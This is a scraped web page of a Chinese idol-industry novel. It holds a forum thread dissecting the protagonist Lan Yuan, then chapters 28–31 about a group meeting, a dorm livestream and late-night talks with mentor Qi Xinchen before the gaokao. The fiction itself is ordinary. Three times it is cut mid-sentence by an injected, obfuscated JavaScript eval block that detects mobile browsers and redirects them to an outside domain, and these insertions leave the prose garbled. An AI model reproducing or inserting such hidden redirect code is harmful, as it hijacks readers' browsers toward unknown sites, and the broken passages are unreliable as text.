到底哪来的不少,嗑12的多少是战略性多少是真嗑懂的都懂,事实就是圆皇神之一手把你团热度前三的cp全拆了 107L 其实我或许知道圆皇是在想什么 不知道有没有人看到选队长那一part,众所周知你团老三老四都是老二舔狗,老五又是在镜头前夸过几次老二很适合当队长的,如果没有讨论环节的话这个队长会选到谁相信大家都知道 总之我不信1267能同时把票投给另一个人,投谁呢,你团有什么能当队长的人吗 111L 所以对于老二落选队长一事圆丝怎么说 113L 去sj了一下wb圆丝,好像在说什么还好圆皇不用领导这群废物队友了 118L 其实并不是不用 如果从圆皇在这个环节开始第一句就匆匆推艾皇出来推导出圆皇只是不想当队长,那就大错特错了,说明根本不懂圆皇这个人 根据我的圆学储备,圆皇脑子里想的肯定是推一个好控制的傀儡队长上去,这么一来选艾皇当室友也就能解释通了 123L ? 126L 我缓缓打出一串问号,怎么圆学都出来了 129L 回复118L:意思就是说圆太后垂帘听政对吧 但是我一细想居然觉得很有道理,太后当年三公排练的时候对艾皇随口说的那句“不要什么都听他的有点主见行不行”可能还真不是玩笑是真心话,这一招能隔开16将老一控制在自己手上还能让老六孤立无援,妙啊 130L 你们说的怎么怪吓人的,你糊队内关系虽然很塑料但是也没到这个程度吧 133L 事实上回答很前面的问题,赛时从126三人间跑路赛后自己组12双人间已经是明着说讨厌6了,因为太后决赛夜感言的时候还说了和老五做室友的这段时间很开心 众所周知这种得罪人的话不是真心话可以不说 134L 不是比起这个我更好奇到底怎么想出来的垂帘听政 137L 同感,是我理解问题吗,限定团队长有什么很大的权力吗怎么垂帘听政说都来了 141L 圆学大师前来解释,如果赛时对圆太后这个人有观察的话就知道,他是一点也不能容忍小组排练时间安排不按照自己的想法来的 事实上三公那会他们队队长老七后采的时候就暗戳戳婊过,队里的计划安排都是太后在制定分part争议也都是太后拍板的,看起来是在夸太后,实际上是在控诉自己被架空了,靠这个狠狠虐了一波粉 总而言之就是太后是那种绝对不愿意把权力交给别人的性格,不然真有心推选一个人上去的话选456都好过选1 145L 这么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437676|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话这个团很多人能有现在的排名都是靠老二的 148L 怎么这么快就叫上太后了 151L 56好过1我承认,老四不同意,老四和老一本质没区别,都是太后的傀儡而已 153L 所以老四反思一下为什么选傀儡都选不到你了,是不是你太没用了 这算什么舔狗舔到最后一无所有 156L 之前有人说24好像闹崩了我还不怎么信因为他俩本来就各忙各的 结果今天一看整个vlog完全零交流,要知道挨着坐还能零交流是一件非常困难的事,46这种根本不熟的都说话了,到底发生啥了 159L 因为一个人一生只能爱上一个老四 163L 远程姐是否有点太无孔不入了我说,怎么你组也这么多 166L 远程姐就像蟑螂,平时躲在阴暗的角落里,当你发现一个的时候…… 169L 快停下这个比喻! 173L 爬楼有感这楼含2量是不是有点过高了,其实糊学似乎就是圆学plus版而已 感觉这个团里什么事都和太后有关 177L 因为这个vlog主要就是2在控制走向啊 选室友那会12组好之后其实已经没得选了,6和45感觉都不太熟,实际上就是37二选一,但是把7扔去和45住显得这个组合似乎又有点太诡异了 选队长又是2第一个开口提名的艾皇,345肯定跟他投,剩下的还用说吗 179L 确实,糊学可能不止是圆学plus但是这个vlog确实就是圆学plus 不过话又说回来这只是糊学第一章而已,从太后这个你糊核心人物开始学好像也没什么问题吧 * 蓝鸢一边看论坛高楼,一边忍住不要笑出来。 目前的评论都在他的预料之中,虽然大多楼层环绕自己在分析,但或许是有自己的粉丝在楼里暗暗控场的原因,整个舆论环境看上去还不错。 像什么说他和简旋安、任淮、竺明若有过矛盾冲突或者不合的楼层都被暗戳戳跨楼了,而正常人爬完楼只会留下“蓝鸢在这个团很关键”,以及“蓝鸢并不是全然没有大脑”这两个印象。 而这两个印象都是利好他的。 “少看一点论坛,”在蓝鸢如此思考时,宁郁寒的声音在旁边响起,“论坛上的人就喜欢乱造谣,看多了心情会不好的。” ……其实没怎么造谣,蓝鸢心说,他们分析得都对。 只是这话不能放在明面上说。 于是他只点点头“嗯”了一声,心说希望下回论坛出来锤你的时候你也能这么说。 28. 画饼大会 这顿午饭没吃多久。 旁边有经纪人、有工作人员、又没有摄像头,于是大家都没怎么说话,各自吃饭看手机。而他们吃完后,紧接着开始的就是出道之后的第一次全团会议。 从事实上来说,基本是公司给成员们的画饼大会。 他们的经纪人、公司那边的顶头负责人,还有一群蓝鸢不怎么分得清职级的人都坐在会议室里,一同“畅想”七个人未来一年半的安排。 首先是发歌发专辑,其次是录vlog和团综,再次是开巡演和见面会,其间穿插着各种晚会舞台和少量的集体综艺,留给“团活”的内容大概就是这么多,每一个限定团都大同小异……在理论上是大同小异的。 事实上,他们前两届的出道组都没能把这些饼全部兑现。 一方面是在没有什么正经舞台资源和偶像生存空间的内娱,写在合同里的半年的“团活优先”期一过,大家都一门心思想着往别的赛道闯荡,而不是守着这种注定会解散的偶像团体;另一方面是,对有些人来说,想做偶像和爱惹一些让自己做不了偶像的麻烦事也不冲突。 比如上届出道组,虽然现在还有半年才解散,但已经三个月没有合体了,目前为数不多的团粉每天在官博下面催团综,但很快就被演戏的发歌的出名飞升的成员的粉丝控评淹没。 又比如祁心忱他们Dreams,总共发了三张ep——四首歌的出道专、三首歌的解散专以及八首歌的“二专”,其中二专的八首歌组成是一首没有编舞也没有过全员舞台的抒情曲、外加七个人每人一首solo曲。 此外,Dreams的团综只录了四期,没有任何一期是全员到场;巡演和见面会总共有两场,第一场是出道后一个月,有人因病缺席,第二场是解散场,两个太严重的黑料咖无法上台;晚会和外务倒是去了很多,但第二年开始就只剩下祁心忱和顾洛知两个人在了。 起码还有两个人,蓝鸢想。 他都不太清楚这个团到最后还会不会有人陪他一起将Butterfly这个名字写完——其实自己也不一定在,蓝鸢又想,他没有祁心忱那种莫名的执念在,如果太分崩离析的话,蓝鸢也不会成为撑起这个名字的人。 虽然有粉丝说这个团名和蓝鸢挺有缘的,毕竟Butterfly也是一种会飞的小动物……但实际上蓝鸢清楚,他也只是“蓝色鸢尾花”而已,并不是什么翱翔于天际的鹰。 如此想着,蓝鸢不太认真地听完了公司负责人给他们画的饼——所有时间线在八月及之后的都不太重要了,蓝鸢不觉得那些能兑现,最近两个月的还是得听一听。 比如他们的第一张ep会在七月上旬发布,总共有四首歌,已经没有征求任何成员的意见全部定好了,其中有三首会有编舞,主打歌会拍MV;又比如更近的,他们在周末有一个端午晚会的资源,会站桩唱安排好的歌,这几天需要稍微练习一下。 从现在到第一张ep发行前的这段时间,他们的主体安排当然是集训筹划新ep,但中间也穿插着两三个飞行综艺、一大堆乱七八糟的拍摄、直播、宣传,无用但繁忙。除了蓝鸢和宁郁寒被放了四天高考假外,其他人都不会有太长的休息时间。 ——虽然蓝鸢对于负责人将“高考”称为“休息”一事感觉到了轻微的不满,并不出意料地发现,当那人说到这话时,宁郁寒的笔尖也有点不耐烦地在做笔记的纸上点了点。 而在第一张ep发行后,开始集中录制旅行团综之前,他们会进行几场见面会……此外也还会上几个综艺用来宣传新歌——关于后者,现在似乎是还没谈好的。 希望这两个月舆论一切平安。蓝鸢心想。 至于录完团综之后的事……蓝鸢就不是很在意了。 一方面他觉得Butterfly到那时候该有舆论危机了,另一方面是计划不如变化快,这种画饼正常人都不信。 当然,虽然是这么想的,但是为了表达良好端正的开会态度,蓝鸢还是将这些规划都在纸上记了一下——等解散那天回过头看,一样一样地对比有哪些实现了、有哪些兑现不了,大概也算一件有趣的事。 * 开完会,吃完晚饭,按照原定计划,糊团全员回到了宿舍,进行了一场不长不短的全员直播。 这个直播的主题是“带你参观Butterfly的新家”——以前的选秀团喜欢在分宿舍vlog里就加上对于新宿舍的介绍,但他们没有这么做,而是选择了直播的形式,主要说是“让粉丝多见见偶像本人”。 其实这说法也合理。 他们接下来一段时间虽然看起来有一些录制任务,但像是录广告录代言拍杂志之类的,实际上粉丝能看到的只有冷冰冰的视频照片,而不是活人正主。过几天开始练歌练舞又不可能给粉丝实时看过程,这会直播显然是一个好形式。 总之,一行人举着摄像头,从客厅走到他们可以用来练习的房间,又走到厨房,最后参观大家各自的宿舍,其间穿插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437677|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说笑玩闹和插科打诨,用于彰显为数不多的团魂。 上午发的vlog里,这些宿舍都还是崭新的状态,而经历了昨晚的整理,如今各自都多了点生活气息,但也没有特别多——都知道今天还会有这个环节,不能在粉丝面前展现的内容当然也不会被摆出来。 蓝鸢昨晚做完题后,将教材和试卷都整理好放在了书架顶层——只是因为书架有点太空了,于是弹幕还是注意到了这点,好几条飘过去,问“那些是小圆的复习资料吗”。 “嗯,对的,”蓝鸢明显看到了这些消息,也不会当没看到,于是眨眨眼说,“还是需要复习一下——实在太久没有学习了,理科不做题的话会有点生疏的。” 他说这话的时候,把“理科”两个字拿出来不经意强调了一下,为的是……和宿舍里一点高三生痕迹都没有的、选全文的宁郁寒区分开,防止到时候如果真的没考过对方,被说是“复习了还不如不复习的”。 虽然蓝鸢觉得宁郁寒不像成绩太好的样子,擅长考试的人不一定聪明,但傻成这样感觉也不像很会考试……只不过宁郁寒是复读生。他去年校考炸了,本就希望不大,高考又遇上了一个说唱综艺,干脆就放弃了考试去参加了节目。 虽然那个节目糊了,但这人总归比蓝鸢整整多学过一个高三,不得不防。 蓝鸢和沈艾初的房间是此次参观的最后一环,这会他们已经播了一个多小时。蓝鸢在想高考的时候,沈艾初开始举着摄像头说结语了,于是蓝鸢也凑过去,同屏幕另一头的粉丝说再见。 接着,直播在一片的“大家晚安”中落下帷幕——只是说了晚安,实际上距离“晚安”的时间还很远。 摄像头关掉、工作人员带着设备撤出之后,大家便互相提醒着明早的安排,而后各自分散。工作时间彻底结束,房间里很快就只剩下了沈艾初和蓝鸢两个人。 “你要先用浴室吗?”沈艾初歪了歪头,提问道,“需要的话可以先用。” “你先用吧。”蓝鸢摇了摇头,“我还有点事。” 说完,他低下头,打开手机,看到十分钟前就响起消息提醒、而现在才能打开看的新消息。 祁心忱: 【感觉你们直播快结束了!】 【我大概半小时后到】 蓝鸢无意识地抬了抬嘴角,打字回复道。 迟筝: 【好呀】 【到之前五分钟给我发消息,我来小区门口接你呀owo】 29. 夜会1.0 不过,明面上说是接祁心忱,其实不如说是被祁心忱接走。 他们住的这个别墅区是不准外人进来的。 虽然蓝鸢可以亲自去把祁心忱带进来,但是带进来也没有什么意义,总不能让祁心忱来见他的这几个队友——且不论大家都认识,况且对方是来见他的,不应该将时间花在这些没用的人身上。 于是蓝鸢走在路上的时候,还在思考过会应该去哪里说话,只是没想到……也不算特别没想到的是,祁心忱自己就自带了解决方案。 蓝鸢出大门的时候,刚好看见门口停着一辆车,接着车窗就被摇了下来,祁心忱探出头,喊了一声“小圆”。 “这是你的车吗?”蓝鸢会意,跑过去拉开副驾驶的门坐上,又在车里环视了一圈,才问,“没听你说过呢。” “原则上是归属于公司的我的工作用车,更多时候是我助理在开,”祁心忱眨眨眼,接着补充道,“但是就算我以后退圈了,临路也不可能真的回收回去的。” “原来如此,”蓝鸢点了点头,又问,“工作车的话,是不是会很容易被认出来呀?” 众所周知的是,“流量偶像”这个职业在整个娱乐圈里都算是私生重灾区,祁心忱这样的显然是逃不过的,蓝鸢之前还听他讲过,说是坐在学校上公共课的时候,旁边可能都是混进来的粉丝。 “是的,应该很多人都知道这个车牌号,”而此时此刻,祁心忱点点头,“但本来也没准备带你去什么热闹的地方玩,在郊区开一开无所谓的。” “哦。”蓝鸢说,“好。” “这是什么反应,”祁心忱笑了起来,“你还真想找个地方玩吗?” “也……” 也不是不行。蓝鸢想。 他其实并没有思考过这个问题,本来觉得自己只是出来拿一袋饼干就走。祁心忱没具体说他的行程安排是怎么回事、为什么可以在今晚来见自己一趟,而蓝鸢也不打算问。 “不行的。”只是祁心忱自己就替他做出了回答,“你得回去复习,做两套卷子,然后早睡,明天保持良好状态去拍照和开会。” “你怎么把我们行程记这么清楚的。”蓝鸢忍不住笑了一声。 “可能你没见过,”祁心忱顿了两秒,才用一种很……微妙的语气说,“但是你们的行程表是直接用我们当年那个改的,而且改动不是很多——如果你用电脑打开它,会看到创建时间是两年前。” “啊?”蓝鸢有点意外于这个答案,心想这什么草台班子。 “但总之,明天拍的定妆照搞不好要管一年半,”祁心忱一边继续说,一边启动车,将它从小区正门口开到了前方的没人的拐角,重新停下来并打好车灯,“还是得认真拍的——现在随便说几句就行,不占用你太多时间。” 蓝鸢本来还想说一句“占用也没关系”,只是话到嘴边最终什么都没说——毕竟祁心忱说得对,明天的安排很重要,回去复习也很重要,因此他点点头。 车里的灯并没有被打开。虽然外部的车灯是亮着的,街上也有路灯,但蓝鸢偏过头,也只能看清祁心忱侧脸的轮廓。 对方大概并没有看到他点头的动作,蓝鸢心想,于是又顿了顿,出声说了句“好”。 “嗯,饼干放在后座上,过会下车前拿走就行。”祁心忱将车暂时熄火,这才将视线调转到蓝鸢身上。 接长发很麻烦,所以祁心忱看上去也不准备这么快拆掉。这会他并没有把头发扎起来,所以转身的时候,耳边的发丝轻轻飘动起来,露出反射着微光的、耳垂上的蓝色鸢尾花。 蓝鸢于是盯着它,思考着此刻被反射的是外界的灯光还是月光。 “你在看这个吗?”直到祁心忱的声音打断了他的思绪,蓝鸢眨了眨眼,看见祁心忱指了指那个耳钉。 “很明显吗?”蓝鸢于是又眨眨眼,莫名有些紧张。 “我瞎说的,看起来碰巧猜到了,”祁心忱低头笑了一声,又像是很随手地,用手腕上挂着的头绳将头发在脑后扎了个高马尾,接着才继续说,“其实是想问另外一件事的。” “什么事?”蓝鸢问,心想好在祁心忱绕开了耳钉的话题,不至于一直追问下去,让他当面再社死一次。 “你下周高考那几天,”祁心忱看着他说,“准备住哪里?” 蓝鸢愣了愣。 这是个意料之外的问题,而且是一个……祁心忱说之前他还没有开始思考的问题。 去参加选秀前的那段时间,蓝鸢和他哥哥非常正式地……吵了一架,并且留下了之后会一刀两断的宣言。 虽然这种话听起来幼稚,但平心而论,这确实是他深思熟虑之后做下的决定。 那天他们坐在沙发的两端,蓝鸢的脑子里闪过很多过去的片段,想到小时候和哥哥一起蹲在法院门口等待结果,想到坐在客厅桌前一边写作业一边看不远处厨房哥哥忙碌的身影,又想到下课之后去哥哥打工的工地上等待那个积灰的身影的一幕幕场景。 哥哥和其他人一起出来,有人问“这个是不是就是你那个成绩很好的弟弟”,于是他哥哥虽然说着“上回是考了第一,不过才初中生还说不准呢”,实际上语气里是很骄傲的色彩。 只不过,蓝鸢最终没能一直做那种他哥哥、以及很多人所期待的,“成绩很好最终考上名校”的传统优等生。毕竟他读的只是普通初中,靠划片区进的学校,他们学校每年只有一两个学生能考上市重点,在那里考第一什么都不是。 真正进了市重点二中后,蓝鸢才意识到自己其实也不是什么绝顶聪明的小孩——他就算是认真学习,也只能在重点班考中下水平,除了数学经常考满分外,别的课都学得很一般。 按照往年学长学姐的成绩来看,如果他一直学文化,大概是能考上中上985的,在普通人中依旧算得上相对不错,不过也就到此为止了。 最终蓝鸢还是选了另一条路。 与此同时的是,他也逐渐不再是哥哥的“骄傲”,而是变成了某种名为“叛逆”的存在。 哥哥的说辞从“考上好学校出人头地”,变成了“都班里倒数了不如早点出来挣钱”,最后又变成了“你花大五位数去报班学音乐是不是疯了”——即使那都是蓝鸢做唱见挣的钱,而且也并非没有补贴家用。 总而言之,两人看见的世界逐渐有了差别,其间的矛盾 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当然,其中有很多是无中生有,比如他小时候很少一天吃三顿饭,也没有怎么买过新衣服,很多学期都没有交学费、因为拿到了奖学金,又比如其实这些年的利息并没有那么高,不能用高利贷的利率来算。只是蓝鸢也不想反驳了——与其说是算抚养费,不如说是对方在算自己欠了多少钱,然后尽可能扣到他身上。 蓝鸢知道自己有的是办法挣到钱。比起扯这些,他更想没有后顾之忧地一刀两断……至于不合理的那些,就当成他为这段曾经有过的情感的付费吧。 蓝鸢想,情绪价值也是有价值的。 总之最后,两个人写好了一张欠条,蓝鸢从他们的出租屋搬出来,在集训的学校附近租了个小单间、又报名去参加了选秀、在通过面试之后,将剩下的存款全部砸进了紧急舞蹈班,以一种不太给自己留后路的方式。 只不过,在进节目之前,蓝鸢就退掉了那个小单间。后来又是忙忙碌碌的三个月录制,于是祁心忱这会一说,他才想起来……自己回去高考好像已经没地方住了。 “学校附近酒店还会有房间吗?”蓝鸢眨了眨眼,很不确定地问。 他今年运气不错,他们市排考场比较随机,不太会同校规避,所以他的高考考场碰巧排在自己学校。只不过他们高中是一个大考点,来参加考试的肯定还有很多郊区或者镇上学校的学生,虽说学校会给他们安排住宿,但依然有很多人宁愿自己出去一个人住。 所以每年高考前后,周围的酒店都会爆满……以前是两天,他们这届开始新高考,所以估计将会变成三天。 蓝鸢问完,干脆就自己打开了定酒店的app,切了定位开始搜索……意料之中地,情况不太乐观,能订到最近的已经距离学校有五公里了。 说起来不远,但地面上堵车,地铁不顺路,五公里又显得没那么近。 他于是开始思考,是不是可以去学校蹭一个同学的宿舍——他们班还有两个男生宿舍没住满,应该也可以申请临时住三天。只是蓝鸢还没有提这事,祁心忱就先开口了。 “我其实是想说,”祁心忱的声音从身侧传来,“如果你不太好找地方的话,可以来我家住几天的。” 蓝鸢抬起头看着他。 30. 夜会2.0 客观来说,如果不考虑蓝鸢现在去他家会心虚这一点……祁心忱提的确实是个好主意。 祁心忱家到二中很近,走路也就十多分钟,甚至足够他中午回去睡个午觉。除此之外,真的要去学校住宿舍的话,难免会有许多麻烦事,比如不清楚同学的生活习惯、比如还得临时准备只用三天的床上用品,其实各种意义上来说都不是很方便。 只是—— “我家其他人这几天都不在的,只有我在家,”祁心忱大概是见他没有回答,又补了一句,“毕业典礼之后几天有别的工作,所以提前从学校寄了些东西回家,回去收一趟,顺便去临路总部办点事。” 蓝鸢于是眨眨眼……内心松了口气。 祁心忱确实是猜到了他在想什么的——实际上也很好猜。 “当然,如果你觉得我在家会影响你的话,我也可以晚几天回去,”只是蓝鸢还没来得及说话,祁心忱又说,“把钥匙给你就行,只要别进我爸妈和我妹妹房间,别的都可以随便动,我已经征求过他们的意见了。” “啊。”蓝鸢愣愣地发出一个单音节,像是没反应过来般,顿了顿才说,“不用不用,不影响的。” ……其实是更希望你在家。蓝鸢想说,但最终没有将这句话说出口。 他又想,怎么你们一家都对我这么信任吗,居然能答应放一个外人单独在家待着——只是这话他也没说。这种话放在对方的好心面前,显得太不合时宜了。 “那就先这么定了,”祁心忱见他没有异议,于是点了点头,又问,“买回去的票了吗?” “还没,我们经纪人白天才问过需不需要帮忙买,”蓝鸢摇头,如实说,“但我想自己挑时间,所以准备晚上再看看。” 选秀团不像固定团,运营公司对艺人的管理是很有限的。高考这种比较私人又比较重要的事,其实按惯例来说,往往是原生公司在负责安排行程,像宁郁寒的高考,就是他的原生公司全权安排。 但蓝鸢没有原生公司,于是他们现在的经纪人还是来问了一句——只不过蓝鸢拒绝了派一个工作人员陪他回去的建议,并表示不想受到干扰……虽然他确实没来得及细想行程规划,但蓝鸢觉得这种行程不应该“被安排”。 不过被祁心忱安排不是被安排。蓝鸢想,这是他的理性选择。 “那刚好,”祁心忱于是笑了起来,“可以一起回去——你是打算6号上午回吗?我看了一下,现在机票比高铁便宜,不如就买机票回吧?你自己买机票还能报销吗?” “对,6号上午,”蓝鸢点头,又说,“可以的,我问过了。” “不如现在就订票好了。”于是祁心忱如此说着,打开手机,又将屏幕向着蓝鸢的方向歪了歪。 蓝鸢凑过头去看,和祁心忱商量着选了航班和座位号。祁心忱低头输信息,蓝鸢也没有再问“你为什么会记得我的身份证号”这种废话,只是偏过头看着他安静的侧脸。 蓝鸢想,虽然祁心忱口口声声说自己是他的“朋友”,但……这人确实是大概率把自己当弟弟来对待了。 不过弟弟也很好,已经比朋友要特殊很多了,是可以进一步入侵对方的私人空间不会被随便赶出去的关系。蓝鸢垂了垂眼,默默想着,毕竟自己也把他喊“哥哥”来着。 蓝鸢都没这么喊过他亲哥。 “对了,”不过这会再次想到亲哥,蓝鸢突然又记起祁心忱前不久说的另一句话,于是带着一点疑惑问,“舒老师那几天为什么不在家呀?” * 虽然祁心忱超话置顶里那个详细的个人介绍中,有写到过他的高中学校,但蓝鸢曾经并没有细看过那些长得拉不到底的文字。 真正知道祁心忱和自己是高中校友……或者说不仅仅是高中校友,还是在赛时二公排练期间。 蓝鸢二公在vocal大组,他们组的歌是一首情歌。 vocal组不像dance组那样能每天练十几个小时,唱歌唱太久往往过犹不及。于是当时蓝鸢的队友都已经回了宿舍,他留在练习楼也不是为了加练,而是在写舞台走位、编排和布景的规划。 这部分内容并不是一定要练习生来负责。 但是蓝鸢当时在这个队当队长,他嫌弃节目组给的版本不够好、实在敷衍,所以决心自己改一版,并告诉队友明早看过之后来投票二选一——队友们可能没能力做舞台策划、也没有斗志陪蓝鸢一起修改,但都能看出来原版不够上心,于是纷纷同意。 只是蓝鸢自己也没有什么策划舞台的经验,之所以主动接下来这事,只是因为内心有个声音说着“不改就完了”、另一个声音说着“不会就学啊”。所以理所当然地,蓝鸢选择了求助祁心忱。 事实上,能让节目组同意他们自己改编排,也算是祁心忱的功劳——不然就凭蓝鸢这种不仅没什么背景还硬要占着一个出道位的状态,不被疯狂恶剪都是运气好。 二公排练时间是四次公演里最长的,于是那天队友们吃过晚饭就回了宿舍。蓝鸢坐在练习室改了一晚上,祁心忱就坐在一边看着他改,时不时提一个建议、或者解答几句问题,不直接上手帮他改,只是引导性的。 是蓝鸢最需要的那种指导。 他们这一改就改了五个小时。 到十一点半,蓝鸢抱着自己的稿子站起身,和祁心忱一起回宿舍楼——走廊里好几个练习室的门都半掩着,有音乐声混杂着脚步声从中传来,大概是加练的dance组练习生。 而他们两人则越过那些吵闹的房间,一并走入安静的夜色之中,像是出于某种默契般都没有说话。 周围环境一旦安静下来,人就会不由自主地想要哼歌。 蓝鸢不知道是不是所有人都有这样的习惯,但是他确实是有的。因此等自己反应过来的时候,他已经在小声哼唱起他们二公那首歌的曲调了。 “先停一停,”直到祁心忱带着点笑意的声音打断了蓝鸢的哼唱,“很快到站子拍摄的区域了——虽然选歌早被透露完了,但是还是不能从你这里泄露消息的。” 祁心忱说话的时候,蓝鸢刚好哼唱到一句“木棉花下”。 实际上,蓝鸢虽然在一边走路一边唱歌,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437679|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许是因为有祁心忱陪着,所以大脑其实是半放空状态。 听到对方的话后,他才反应过来已经快走到拍摄区了,于是很听话地停下了唱歌,又顺势像是要找话题般随意地开口:“说起来,唱了好几天的木棉花,我都还没见过木棉花呢。” “没见过吗?”意料之外地,祁心忱转过头,像是有点疑惑地眨眨眼,才又说,“但是学校南门外就有两棵呀?你是不是不认识才以为自己没见过啊。” 祁心忱说到最后的时候像是在笑,但蓝鸢却一时间没反应过来:“……什么学校?” “二中呀。”祁心忱说,语气非常理所当然,“我们都上过的学校不就只有二中吗?” ——这回疑惑的变成了蓝鸢本人。 “你也是二中的学生吗?”蓝鸢犹豫了片刻,才开口说,“……我不知道,你之前没有说过。” 二中是省重点,是一年几十个top2、三天两头出省状元的、年年都有人进竞赛国家队的、被调侃的“超级中学”。 在这种学校里,几乎只有省状元和五大竞赛国家队成员能在荣誉榜上待超过一年,蓝鸢比祁心忱低四届,没在学校听过这个名字再正常不过。 只不过…… 蓝鸢听着祁心忱用不太确定的声音说着“我没说过吗”,心中却开始计算……祁心忱是高18级的,蓝鸢之前每天上学都会从校门口的荣誉栏走过,对上面出现过的好多名字都有印象。 “对了,”于是蓝鸢开始无端联想,最后问了个……当时问出口的一瞬间,自己都感觉非常莫名其妙的问题,“那你认识祁星燃吗?她是不是和你一届的。” 这话说出来的下一秒,蓝鸢就开始后悔了。 他想到二中高18级,就很顺理成章地想到了祁星燃这个名字;校友见面讨论彼此年级的风云人物是很常见的事,加上这个名字实在和祁心忱的名字有点像,于是蓝鸢就这么很随意地问了出来。 只是……这个问题其实本质上是废话,高中是一类走三步就是一个荣誉榜的地方,祁心忱不可能不知道同年级的顶尖竞赛生的名字。 说不定还会被拿名字开让人不愉快的玩笑,蓝鸢想,比如什么名字差不多分数怎么差那么多。 “不是,你当我没……”蓝鸢于是紧急开口,试图撤回自己的不当提问。只是话还没说话,就被祁心忱打断了。 “原来你还知道她呀,”祁心忱眨了眨眼,“她是我双胞胎妹妹来着——没想到吧?” ……没想到,是很没想到。 蓝鸢脚步顿住。这一瞬间,他感觉自己像是听到了什么听不懂的、不是中文的语言一般,脑子里一片空白,毫无思考能力。 毕竟他们学校年年都有拿国际金的竞赛生,祁星燃是很强,但也没有特殊到绝无仅有。 蓝鸢之所以能记得这个名字,还是因为他高中前两年的物理老师说过好几次……“你们舒老师的女儿祁星燃”这种话——这个舒老师,指的就是他们班主任舒越明。 想到这里,蓝鸢深吸一口气,莫名觉得三月的暖风吹来了一丝凉意。 31. 生日1.0 祁心忱也停下了脚步,没有说话。 “这个你也没有说过。”蓝鸢停顿了好一会,整理自己的想法、整理这件事本身,最后转过身盯着祁心忱,目不转睛地控诉道,“你什么都没有给我说过。” 他说完这句话,突然就觉得有点莫名其妙的委屈。 蓝鸢这时候很想追问一句,问“那我们第一次见面的时候你为什么不告诉我呢”,话到嘴边,又觉得自己在这事里不够占理—— 毕竟祁心忱说什么、做什么,都是他的自由。作为在这段关系里……自始至终处于“被关照”位置的那个人,自己本来就不应该再要求对方的全然坦诚。 况且祁心忱也没有骗自己。 他只是没有说,只是在第一天见面的时候,像是见到一个陌生人那样对待自己——或许也不算陌生人,毕竟当时的祁心忱已经快将“我有目的”写在脸上了,只是蓝鸢全然没有往这个方面联想,仅此而已。 但蓝鸢还是觉得很委屈。 即使是“导师”和“练习生”这种并不算完全对等的立场,在过去的一个多月里,蓝鸢也自以为,自己和祁心忱的相处是一个……逐渐了解对方并且逐步成为朋友的过程。 ——但他们的人际关系从一开始就有信息差。祁心忱从一开始就什么都知道,只是装作对自己也不了解,装作刚认识那样相处,而蓝鸢本人……非常讨厌这样的信息差。 “……所以,”他垂着眼眸,视线望向稍远处的地面,没等祁心忱回答,就继续开口道,“月初那会,你说去问过我家里人我的真实生日,其实也是在说谎吧?” “嗯,我不会联系你哥哥的,”几秒钟的沉默后,祁心忱声音从身侧传来,“……对不起。” * 蓝鸢在自己的个人信息表里谎报了生日,因此,在选秀基地里,其他练习生和工作人员也就按照3月2号给他准备生日。 那会正是一公赛段的倒数第三天——最后一次彩排安排在了3号,而正式的公演则放在了蓝鸢的真实生日3月4号当天。 蓝鸢从一开始就知道,他的生日庆祝活动是会被放出去的内容,只是不确定会放在正片、vip加长版还是节目花絮里。 当然,这段会放出去也不是因为他有多特别——毕竟选秀进行三个月,就概率来说,差不多能有十多二十个练习生能在赛程期间、淘汰前过生日,但每届真正放出去的生日庆祝环节寥寥无几。 蓝鸢在其中本不特殊。但特殊之处在于,给他筹划生日的是节目组最大的两个皇族、他的大势cp相方宁郁寒、以及他的室友沈艾初。 这是一个给那两人立人设的好机会,蓝鸢想。 总之,蓝鸢当时还庆幸于私自改了公开的生日——一方面,他不想自己的成人礼和“利益”、甚至是别人的利益彻底挂钩;另一方面,那种大家一拥而上推着蛋糕唱着歌制造一点也不惊喜的惊喜的环节,蓝鸢实在一点也喜欢不起来,即使他知道那些庆祝中可能也有一些真心。 一些有杂质的真心。 蓝鸢虽然不是皇族,但是是自带人气的初C,自然吸引了很多人来参与自己的生日庆祝环节。 一公将近,一大群人在百忙之中抽出时间,来给他唱生日歌,又传着话筒一人几句地说着18岁快乐以后就是成年人了。蓝鸢对着所有人浅浅地笑着,然后一遍遍感谢。 之后大家就开始分巨大的蛋糕,一起笑闹,摄像头对准一张张明媚的笑脸——这时候,过生日的人是小圆还是小方已经不重要了,他只是一个“节目里年纪最小的小朋友将在今天成年”的象征符号,一个“团建活动”的由头。 到最后,导师们都加入了这一行列,pd,还有dance导师和rap导师,都先后晃悠到他们组练习室,给他说生日快乐。蓝鸢眨眨眼,对每一个人说“谢谢老师”,最后举着话筒,说“我今天很开心”。 ——实际上,那时候他们组的排练还有很多问题要解决。 